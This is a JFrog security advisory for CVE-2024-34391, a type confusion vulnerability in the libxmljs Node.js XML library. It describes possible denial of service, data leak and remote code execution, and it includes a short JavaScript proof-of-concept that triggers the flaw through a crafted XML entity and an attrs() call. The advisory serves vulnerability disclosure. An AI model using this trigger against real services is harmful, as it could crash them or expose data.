JFrog Security Research
< Back

JFSA-2024-001033988 - libxmljs attrs type confusion RCE

CVE-2024-34391 | CVSS 8.1

JFrog Severity:high

Discovered ByUriya Yavnieliof the JFrog Security Research Team

Published 2 May, 2024 | Last updated 2 May, 2024

libxmljs attrs type confusion RCE

libxmljs

(,)

libxmljs is vulnerable to a type confusion vulnerability when parsing a specially crafted XML while invoking a function on the result of attrs() that was called on a parsed node. This vulnerability might lead to denial of service (on both 32-bit systems and 64-bit systems), data leak, infinite loop and remote code execution (on 32-bit systems with the XML_PARSE_HUGE flag enabled).

const libxmljs = require('libxmljs');

var d = `<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note
[
<!ENTITY writer "` +
 'A'.repeat(0x1234) +
`">
]>
<from>&writer;</from>
`;

t = libxmljs.parseXml(d, {flags: [libxmljs.XMLParseFlags.XML_PARSE_HUGE]})
from = t.get('//from')
c = from.childNodes()[0]
c2 = c.childNodes()[0]
c2_attrs = c2.attrs()

No mitigations are supplied for this issue

Original Advisory

< Back